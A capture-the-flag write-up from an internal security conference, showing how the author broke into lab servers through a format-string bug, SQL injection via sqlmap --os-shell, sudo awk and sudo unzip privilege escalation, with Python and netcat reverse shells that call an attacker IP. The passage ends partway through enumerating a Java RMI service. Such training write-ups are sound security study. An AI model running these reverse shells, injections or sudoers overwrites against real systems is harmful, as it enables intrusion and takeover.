NCC Group holds an internal security conference each year and the last con included a CTF that I participated in. Big props to Dan Helton for putting it together an enjoyable CTF that went smoothly. The CTF consisted of a handful of servers that participants had to break into in order to acquire enumeration, foothold, and root flags. Additionally, there were other challenges related to crypto and forensics.

The following are writeups for all the servers describing how I acquired the foothold and root flags. I’m not documenting how I acquired the enumeration flags or the flags associated with the crypto or forensics challenges so that this post isn’t 300 pages, but I was able to capture all the flags :)

Backdoor

Backdoor - Foothold

After a TCP port scan of proxy-east.cloudiot.us, we find the “waste” service is running on port 1337.

$ nmap -sV -sC -p- proxy-east.cloudiot.us
...
PORT      STATE    SERVICE  VERSION
...
1337/tcp  open     waste?
| fingerprint-strings:
|   GenericLines, SSLSessionReq, TLSSessionReq:
|     Debug mode enabled.
|     Version: M4$teRuz1ng1tAndj00C4nH4veThi$
|     Pointer: 0x601080
|     Secret administrative backdoor
|     Enter the secret password to continue:
|     didn't say the magic word!
|   GetRequest:
|     Debug mode enabled.
|     Version: M4$teRuz1ng1tAndj00C4nH4veThi$
|     Pointer: 0x601080
|     Secret administrative backdoor
|     Enter the secret password to continue:
|     HTTP/1.0
|     didn't say the magic word!
|   HTTPOptions:
|     Debug mode enabled.
|     Version: M4$teRuz1ng1tAndj00C4nH4veThi$
|     Pointer: 0x601080
|     Secret administrative backdoor
|     Enter the secret password to continue:
|     OPTIONS / HTTP/1.0
|     didn't say the magic word!
|   Help:
|     Debug mode enabled.
|     Version: M4$teRuz1ng1tAndj00C4nH4veThi$
|     Pointer: 0x601080
|     Secret administrative backdoor
|     Enter the secret password to continue:
|     HELP
|     didn't say the magic word!
|   RTSPRequest:
|     Debug mode enabled.
|     Version: M4$teRuz1ng1tAndj00C4nH4veThi$
|     Pointer: 0x601080
|     Secret administrative backdoor
|     Enter the secret password to continue:
|     OPTIONS / RTSP/1.0
|_    didn't say the magic word!
...

Let’s connect to the service via netcat and send some random data to see what type of response we get.

$ nc proxy-east.cloudiot.us 1337
blah
Debug mode enabled.
Version: M4$teRuz1ng1tAndj00C4nH4veThi$
Pointer: 0x601080

Secret administrative backdoor
Enter the secret password to continue:
blah
Ah! Ah! Ah! You didn't say the magic word!

It appears that the service is expecting the user to provide a secret password prior to use. After randomly guessing for a bit I switched gears. I put together a small Python script to send random injection payloads from the wfuzz project to the backdoor service.

import socket
import sys

with open('/usr/share/wordlists/wfuzz/Injections/All_attack.txt') as f:
  for line in f:
    print 'try:' + line
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('157.230.164.56', 1337))
    s.sendall(line.strip()+'\n')
    data = s.recv(1024)
    s.close()
    print 'Received' + data

After running the script and manually reviewing the responses, I noticed a number of payloads that appear to cause the service to terminate due to a stack overflow condition. Granted, the stack overflow was detected due to a stack canary getting clobbered so this ended up turning into a dead end (curse you GCC stack protector).

try:/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd

Received*** stack smashing detected ***: elogin terminated

Going back to manually playing with the backdoor service with netcat, I noticed that the service was vulnerable to format string attacks. Just send %x to the service and we can read a value off of the stack.

$ nc proxy-east.cloudiot.us 1337
%x
Debug mode enabled.
Version: M4$teRuz1ng1tAndj00C4nH4veThi$
Pointer: 0x601080

Secret administrative backdoor
Enter the secret password to continue:
f7f32002
Ah! Ah! Ah! You didn't say the magic word!

At this point I figured that the secret password must be somewhere on the stack so I popped off more data from the stack.

$ nc proxy-east.cloudiot.us 1337
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
Debug mode enabled.
Version: M4$teRuz1ng1tAndj00C4nH4veThi$
Pointer: 0x601080

Secret administrative backdoor
Enter the secret password to continue:
9d5ab02f 9d3869f0 fbad2088 9d5ab030 25207825 2b0e2dd8 9d5a8000 9d5af1c8 601080 25207825 20782520 78252078 25207825 20782520 78252078 2b0e2dd0
Ah! Ah! Ah! You didn't say the magic word!

One value from the stack frame stands out: 601080. This value is also returned in the banner of the service (Pointer: 0x601080). We can hope that this is a pointer to string. Again let’s use netcat, but this time read off eight unsigned hexadecimal integers and then one string using the proper format specifiers.

$ nc proxy-east.cloudiot.us 1337
%x %x %x %x %x %x %x %x %s
Debug mode enabled.
Version: M4$teRuz1ng1tAndj00C4nH4veThi$
Pointer: 0x601080

Secret administrative backdoor
Enter the secret password to continue:
6159201a 6136d9f0 fbad2088 6159201b 0 a78e4488 6158f000 615961c8 G0UpupupT3hMouNTa1n!
Ah! Ah! Ah! You didn't say the magic word!

Great, G0UpupupT3hMouNTa1n! looks like a password. When we reconnect to the service and provide the correct password we are given a shell.

$ nc proxy-east.cloudiot.us 1337
G0UpupupT3hMouNTa1n!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(nedry) gid=1000(nedry) groups=1000(nedry)
$ cd /home/nedry
$ ls
flag.txt
$ cat flag.txt
d0DG50n

If you are curious about the challenge, the source code is available in the root directory. Both the stack overflow vulnerability and format string vulnerability are present in the main function.

$ cat /chal.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

char secret[21] = "G0UpupupT3hMouNTa1n!";
char flag[31] = "M4$teRuz1ng1tAndj00C4nH4veThi$";

void start_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv){
    char *ptr = secret;
    printf("Debug mode enabled. \nVersion: %s \nPointer: 0x%x \n\n", flag, secret);
    char str[50];

    printf("Secret administrative backdoor\nEnter the secret password to continue:\n");
    gets(str);
    printf(str);
    printf("\n");

    if (strcmp(str,secret) == 0){
      printf("Access granted! Initializing shell access\n");
      start_shell();
    }
    else {
      printf("Ah! Ah! Ah! You didn't say the magic word!\n");
    }
    return 0;
}

Backdoor - Root

Now that we have an unprivileged shell, let’s check if we can use the sudo command to execute commands as another user.

$ sudo -l
Matching Defaults entries for nedry on 67773347374d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nedry may run the following commands on 67773347374d:
    (root) NOPASSWD: /usr/bin/awk

Looks like the nedry user can run the awk command as the root user without a password. awk is a powerful command that allows manipulating command line output and the awk language includes a convenient system function that we can abuse to execute arbitrary commands as the root user.

$ sudo awk 'BEGIN {system("/bin/sh")}'
id
uid=0(root) gid=0(root) groups=0(root)
ls /root
flag__.txt
cat /root/flag__.txt
NoW0nd3rUR3xt1nkT!

Customer DB

Customer DB - Foothold

After a TCP port scan of proxy-east.cloudiot.us, we find an Apache web server is running on port 88.

$ nmap -sV -sC -p- proxy-east.cloudiot.us
...
PORT      STATE    SERVICE  VERSION
88/tcp    open     http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Cloudiot Customer Database
...

When we visit the page using a browser, we are presented with the “Cloudiot Customer Database” page that allows searching a database via customer name. Let’s search for the blah customer and use a web proxy tool to intercept the HTTP request and response.

POST /index.php HTTP/1.1
Host: proxy-east.cloudiot.us:88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://proxy-east.cloudiot.us:88/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Connection: close
Cookie: JSESSIONID=C04CE2129E6D13BC8C9C1B92C218ABD9
Upgrade-Insecure-Requests: 1

search=blah

HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 309
Connection: close
Content-Type: text/html

<html>
<head><title>Cloudiot Customer Databasei</title></head>
<body>
<p><h1>Cloudiot Customer Database</h1></p>
<form action="index.php" method="post">
  Customer Name: <input type="text" name="search"><br>
  <input type="submit" value="Submit">
</form>
<!-- n0c0mm3nt! -->
</body>
</html>
0 results. 
false

We don’t get any results searching for blah as noted in the HTTP response (0 results). Let’s search for the blah' customer next.

POST /index.php HTTP/1.1
Host: proxy-east.cloudiot.us:88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://proxy-east.cloudiot.us:88/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
Cookie: JSESSIONID=C04CE2129E6D13BC8C9C1B92C218ABD9
Upgrade-Insecure-Requests: 1

search=blah'

HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 307
Connection: close
Content-Type: text/html

<html>
<head><title>Cloudiot Customer Databasei</title></head>
<body>
<p><h1>Cloudiot Customer Database</h1></p>
<form action="index.php" method="post">
  Customer Name: <input type="text" name="search"><br>
  <input type="submit" value="Submit">
</form>
<!-- n0c0mm3nt! -->
</body>
</html>
 results. 
null

Interesting, instead of getting 0 results, the web application returns null when the input contains a single quote. Maybe the web application is vulnerable to SQL injection? Next search for the blah'' customer.

POST /index.php HTTP/1.1
Host: proxy-east.cloudiot.us:88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://proxy-east.cloudiot.us:88/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Connection: close
Cookie: JSESSIONID=C04CE2129E6D13BC8C9C1B92C218ABD9
Upgrade-Insecure-Requests: 1

search=blah''

HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 309
Connection: close
Content-Type: text/html

<html>
<head><title>Cloudiot Customer Databasei</title></head>
<body>
<p><h1>Cloudiot Customer Database</h1></p>
<form action="index.php" method="post">
  Customer Name: <input type="text" name="search"><br>
  <input type="submit" value="Submit">
</form>
<!-- n0c0mm3nt! -->
</body>
</html>
0 results. 
false

Again, we get 0 results. We can assume that the web application is vulnerable to some type of injection vulnerability at this point and we can use sqlmap to quickly confirm that web application is vulnerable to SQL injection. Create a text file named customer_request.txt with the following HTTP request acquired from your web proxy tool.

POST /index.php HTTP/1.1
Host: proxy-east.cloudiot.us:88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://proxy-east.cloudiot.us:88/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Cookie: JSESSIONID=C04CE2129E6D13BC8C9C1B92C218ABD9
Upgrade-Insecure-Requests: 1

search=blah

Next feed the HTTP request file into sqlmap.

$ sqlmap -r customer_request.txt 
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[23:23:40] [INFO] parsing HTTP request from 'customer_request.txt'
[23:23:40] [INFO] resuming back-end DBMS 'mysql' 
[23:23:41] [INFO] testing connection to the target URL
[23:23:41] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: search=a' UNION ALL SELECT CONCAT(CONCAT('qvjvq','XGwwnVILyIIQwfJHhbdgDcFNUXiAMYvmkWGngAfl'),'qxkvq')-- Nqtz
---
[23:23:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5

sqlmap successfully confirmed that the web application is vulnerable to SQL injection and the back-end DMBS appears to be MySQL. sqlmap provides a wide variety of options that allow for easy data extraction or privilege escalation. If you are not that familiar with the tool then make sure to review the manual. sqlmap also supports a few SQL injection payloads that can run arbitrary OS commands on the database server depending on the target configuration, so next let’s try using the --os-shell option to get a shell on the box and grab the foothold flag.

$ sqlmap -r customer_request.txt --os-shell
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.12#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[23:27:24] [INFO] parsing HTTP request from 'customer_request.txt'
[23:27:24] [INFO] resuming back-end DBMS 'mysql' 
[23:27:24] [INFO] testing connection to the target URL
[23:27:24] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: search=a' UNION ALL SELECT CONCAT(CONCAT('qvjvq','XGwwnVILyIIQwfJHhbdgDcFNUXiAMYvmkWGngAfl'),'qxkvq')-- Nqtz
---
[23:27:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5
[23:27:24] [INFO] going to use a web backdoor for command prompt
[23:27:24] [INFO] fingerprinting the back-end DBMS operating system
[23:27:24] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y
[23:27:34] [INFO] retrieved the web server document root: '/var/www'
[23:27:34] [INFO] retrieved web server absolute paths: '/var/www/ecustomers/'
[23:27:34] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[23:27:35] [WARNING] unable to upload the file stager on '/var/www/'
[23:27:35] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[23:27:35] [WARNING] expect junk characters inside the file as a leftover from UNION query
[23:27:35] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[23:27:35] [INFO] trying to upload the file stager on '/var/www/ecustomers/' via LIMIT 'LINES TERMINATED BY' method
[23:27:36] [WARNING] unable to upload the file stager on '/var/www/ecustomers/'
[23:27:36] [INFO] trying to upload the file stager on '/var/www/ecustomers/' via UNION method
[23:27:36] [INFO] the local file '/tmp/sqlmapzXVrx64884/tmpolsicz' and the remote file '/var/www/ecustomers/tmpubgwm.php' have the same size (711 B)
[23:27:37] [INFO] the file stager has been successfully uploaded on '/var/www/ecustomers/' - http://proxy-east.cloudiot.us:88/tmpubgwm.php
[23:27:37] [INFO] the backdoor has been successfully uploaded on '/var/www/ecustomers/' - http://proxy-east.cloudiot.us:88/tmpbxpkb.php
[23:27:37] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:    'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> ls -al
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
total 64
drwxrwxrwx 1 root     root      4096 Jan 30 04:27 .
drwxr-xr-x 1 root     root      4096 Jan 29 06:25 ..
-rwxrwxrwx 1 root     root       238 Dec  2 02:45 404.php
-rwxrwxrwx 1 root     root     10273 Dec  2 04:09 LICENSE
-rwxrwxrwx 1 root     root        79 Dec  2 04:09 README.md
-rw-r--r-- 1 root     root       111 Dec  2 03:53 README_IM_A_FLAG.txt
-rwxrwxrwx 1 root     root       938 Dec  5 19:22 index.php
-rwxrwxrwx 1 root     root     14598 Dec  2 04:09 logo.png
-rwxrwxrwx 1 root     root        19 Dec  2 04:09 phpinfo.php
-rwxr-xr-x 1 www-data www-data   908 Jan 30 04:27 tmpbxpkb.php
-rw-rw-rw- 1 mysql    mysql      711 Jan 30 04:27 tmpubgwm.php
-rw-rw-rw- 1 mysql    mysql        0 Jan 30 04:27 tmpubjrs.php
---
os-shell> cat README_IM_A_FLAG.txt
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
Good job turning SQLI into a shell!  Now can you get root?

In the meantime, here's a flag => 1nThrUth30uTd00r
---

Customer DB - Root

Before we try to escalate our privileges, let’s setup a reverse shell. From your attacking machine, execute the following command to catch the shell.

# nc -lvp 80

Use your sqlmap shell to setup a reverse shell. Make sure to adjust the IP address and port for your attacking server.

os-shell> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("52.32.7.126",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now that we have a shell, upgrade it.

# nc -lvp 80
listening on [any] 80 ...
id
157.230.164.56: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [157.230.164.56] 39292
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@739cf663b119:/app$

Let’s check if we can use the sudo command to execute commands as another user.

$ sudo -l
sudo -l
Matching Defaults entries for www-data on 739cf663b119:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 739cf663b119:
    (root) NOPASSWD: /usr/bin/unzip

Great, the www-data user can run the unzip command as the root user. The unzip command allows us to decompress archives. Why is that beneficial? We can create a malicious archive and then use the unzip command to decompress the archive, which can be used to overwrite any file on the system. One common rooting strategy is to blow away the /etc/sudoers file to give an unprivileged user the ability to execute arbitrary commands as the root user without providing a password. First let’s inspect the current sudoers file.

$ cat /etc/sudoers
cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults  env_reset
Defaults  mail_badpass
Defaults  secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
www-data  ALL=(root) NOPASSWD: /usr/bin/unzip
# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

What we want to do is add the following entry to the file.

www-data        ALL=(ALL) NOPASSWD:ALL

We need to first create a temporary sudoers file in the /tmp directory.

$ cd /tmp
$ echo IwojIFRoaXMgZmlsZSBNVVNUIGJlIGVkaXRlZCB3aXRoIHRoZSAndmlzdWRvJyBjb21tYW5kIGFzIHJvb3QuCiMKIyBQbGVhc2UgY29uc2lkZXIgYWRkaW5nIGxvY2FsIGNvbnRlbnQgaW4gL2V0Yy9zdWRvZXJzLmQvIGluc3RlYWQgb2YKIyBkaXJlY3RseSBtb2RpZnlpbmcgdGhpcyBmaWxlLgojCiMgU2VlIHRoZSBtYW4gcGFnZSBmb3IgZGV0YWlscyBvbiBob3cgdG8gd3JpdGUgYSBzdWRvZXJzIGZpbGUuCiMKRGVmYXVsdHMJZW52X3Jlc2V0CkRlZmF1bHRzCW1haWxfYmFkcGFzcwpEZWZhdWx0cwlzZWN1cmVfcGF0aD0iL3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluIgoKIyBIb3N0IGFsaWFzIHNwZWNpZmljYXRpb24KCiMgVXNlciBhbGlhcyBzcGVjaWZpY2F0aW9uCgojIENtbmQgYWxpYXMgc3BlY2lmaWNhdGlvbgoKIyBVc2VyIHByaXZpbGVnZSBzcGVjaWZpY2F0aW9uCnJvb3QJQUxMPShBTEw6QUxMKSBBTEwKCiMgTWVtYmVycyBvZiB0aGUgYWRtaW4gZ3JvdXAgbWF5IGdhaW4gcm9vdCBwcml2aWxlZ2VzCiVhZG1pbiBBTEw9KEFMTCkgQUxMCgojIEFsbG93IG1lbWJlcnMgb2YgZ3JvdXAgc3VkbyB0byBleGVjdXRlIGFueSBjb21tYW5kCiVzdWRvCUFMTD0oQUxMOkFMTCkgQUxMCnd3dy1kYXRhCUFMTD0ocm9vdCkgTk9QQVNTV0Q6IC91c3IvYmluL3VuemlwCnd3dy1kYXRhICAgICAgICBBTEw9KEFMTCkgTk9QQVNTV0Q6QUxMCiMgU2VlIHN1ZG9lcnMoNSkgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gIiNpbmNsdWRlIiBkaXJlY3RpdmVzOgoKI2luY2x1ZGVkaXIgL2V0Yy9zdWRvZXJzLmQ= | base64 --decode > sudoers

Next compress the sudoers file into a zip file named a1.zip.

www-data@739cf663b119:/tmp$ zip a1.zip sudoers
  adding: sudoers (deflated 48%)

Now within the /etc/ directory decompress the /tmp/a1.zip file as the root user using the unzip command.

$ cd /etc
$ sudo unzip /tmp/a1.zip
Archive:  /tmp/a1.zip
replace sudoers? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
y
  inflating: sudoers
$ sudo id
uid=0(root) gid=0(root) groups=0(root)

Success, we can now use the sudo command to execute any command as the root user. Let’s grab the root flag!

$ sudo ls /root
flag.txt  sys-auto
$ sudo cat /root/flag.txt
# Excellent work getting root?  Did you do the "correct" way
# (taking advantage of that cron job) or the "not so correct"
# way (clobbering important system files like sudoers or shadow
# to add privileges)?  If you did it the "not so correct" way,
# please inform Dan so he can reset this machine.


z1pp1tyd00dAH

Final

Final - Foothold

The final challenge is only accessible after completing the leet challenge. From your attacking machine, execute the following command to catch a shell from the leet box.

# nc -lvp 80

Trigger the XXE/expect payload that was documented in the leet writeup.

listening on [any] 80 ...
206.189.71.7: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [206.189.71.7] 52932
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ok now we have a shell on the leet box again. From your attacking machine, execute the following command to catch another shell from the leet box.

$ nc -lvp 4444

Run the following command on the leet box (adjust the IP address for your attacking machine and port).

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 52.32.7.126 4444 >/tmp/f

Ok now we should have an acceptable shell to use.

listening on [any] 4444 ...
206.189.71.7: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [206.189.71.7] 49848
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

While looking for possible ways of escalating privileges on the leet box you may have noticed that there are odd entries in the /etc/hosts file. Specifically, the t3hH0stW17hTheM0St.cloudiot.local domain maps to a local IP address 10.0.4.33.

$ cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
10.0.4.33	t3hH0stW17hTheM0St.cloudiot.local
10.0.4.11	ffa4e725f422

We can quickly check if the target server is running a web server by using the curl command.

$ curl t3hH0stW17hTheM0St.cloudiot.local
<html>
  <body>
    <h1 style="font-family:courier;">BIG BOSS SPEAKING<br>
      OPERATION INTRUDE NCCCON2019.<br>
      <br>
      YOU ARE TO INFILTRATE<br>
      THE ENEMY FORTRESS<br>
      "0UT3RHE4V3N" THEN<br>
      DESTROY THEIR FINAL<br>
      WEAPON METAL GEAR.<br>
      <br>
      FIRST,ATTEMPT TO CONTACT<br>
      MISSING OUR "GREY FOX."<br>
      THEN TRY TO FIND<br>
      THE METAL GEAR.<br>
      <br>
      USE FREQUENCY 1099<br>
      FOR ALL COMMUNICATION<br>
      WITH ME.<br>
      OVER.<br>
    </h1>
  </body>
</html>

Looks like we are on the right track, since we are provided a Metal Gear Solid themed hint. Frequency 1099? As in port 1099? At this point I already knew that we probably need to attack the next server over the Java remote method invocation service, but let’s investigate further. Let’s execute a primitive port scan using netcat.

$ nc -v -n -z -w1 10.0.4.33 1-65535
(UNKNOWN) [10.0.4.33] 45293 (?) open
(UNKNOWN) [10.0.4.33] 1099 (?) open
(UNKNOWN) [10.0.4.33] 80 (?) open
(UNKNOWN) [10.0.4.33] 22 (?) open

Excellent, port 1099 is open, which is the Java remote object registry port and we can guess that port 45293 is used to service method calls. When encountering a Java RMI service the first thing we should do is enumerate the registry. Enumeration can either be performed with a custom Java application or the BaRMIe tool. Download the BaRMIe tool, which is just a JAR file, upload it to the leet box, and execute it against the target server.

$ java -jar br.jar 10.0.4.33 1099

  ????    ???       ??????   ???? ????? ?????????
 ??????? ??????    ??? ? ?????????? ?????????   ?
 ???? ??????  ???  ??? ??? ????    ????????????
 ??????  ????????? ???????  ???    ??? ???????  ?
 ???  ??? ??   ???????? ????????   ???????????????
 ???????? ??   ????? ?? ????? ??   ?  ???  ?? ?? ?
 ???   ?   ?   ?? ?  ?? ? ???  ?      ? ? ? ? ?  ?
  ?    ?   ?   ?     ??   ? ?      ?    ? ?   ?
  ?            ?  ?   ?            ?    ?     ?  ?
       ?                                     v1.0
             Java RMI enumeration tool.
               Written by Nicky Bloor (@NickstaDB)

Warning: BaRMIe was written to aid security professionals in identifying the
         insecure use of RMI services on systems which the user has prior
         permission to attack. BaRMIe must be used in accordance with all
         relevant laws. Failure to do so could lead to your prosecution.
         The developers assume no liability and are not responsible for any
         misuse or damage caused by this program.

Scanning 1 target(s) for objects exposed via an RMI registry...

[-] An exception occurred during the PassThroughProxyThread main loop.
	java.net.SocketException: Socket closed
[-] An exception occurred during the ReplyDataCapturingProxyThread main loop.
	java.net.SocketException: Socket closed
[-] An exception occurred during the PassThroughProxyThread main loop.
	java.net.SocketException: Socket closed
RMI Registry at 10.0.4.33:1099
Objects exposed: 1
Object 1
  Name: JMeterEngine
  Endpoint: 10.0.4.33:45293
  Classes: 3
    Class 1
      Classname: java.rmi.Remote
      String annotations: 1
        Annotation: file:/usr/src/apache-jmeter-3.3/lib/accessors-smart-1.2.jar file:/usr/src/apache-jmeter-3.3/lib/asm-5.2.jar file:/usr/src/apache-jmeter-3.3/lib/bsf-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/bsh-2.0b5.jar file:/usr/src/apache-jmeter-3.3/lib/bshclient.jar file:/usr/src/apache-jmeter-3.3/lib/caffeine-2.5.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-codec-1.10.jar file:/usr/src/apache-jmeter-3.3/lib/commons-collections-3.2.2.jar file:/usr/src/apache-jmeter-3.3/lib/commons-dbcp2-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-io-2.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl3-3.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-lang3-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-math3-3.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-net-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-pool2-2.4.2.jar file:/usr/src/apache-jmeter-3.3/lib/dec-0.1.2.jar file:/usr/src/apache-jmeter-3.3/lib/dnsjava-2.1.8.jar file:/usr/src/apache-jmeter-3.3/lib/freemarker-2.3.23.jar file:/usr/src/apache-jmeter-3.3/lib/geronimo-jms_1.1_spec-1.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/groovy-all-2.4.12.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-core-1.3.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-date-2.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/httpasyncclient-4.1.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpclient-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-nio-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpmime-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/jcharts-0.7.5.jar file:/usr/src/apache-jmeter-3.3/lib/jcl-over-slf4j-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-core-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-lagarto-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-log-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-props-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jorphan.jar file:/usr/src/apache-jmeter-3.3/lib/json-path-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/json-smart-2.3.jar file:/usr/src/apache-jmeter-3.3/lib/jsoup-1.10.3.jar file:/usr/src/apache-jmeter-3.3/lib/jtidy-r938.jar file:/usr/src/apache-jmeter-3.3/lib/junit-4.12.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-1.2-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-core-2.8.2.jar 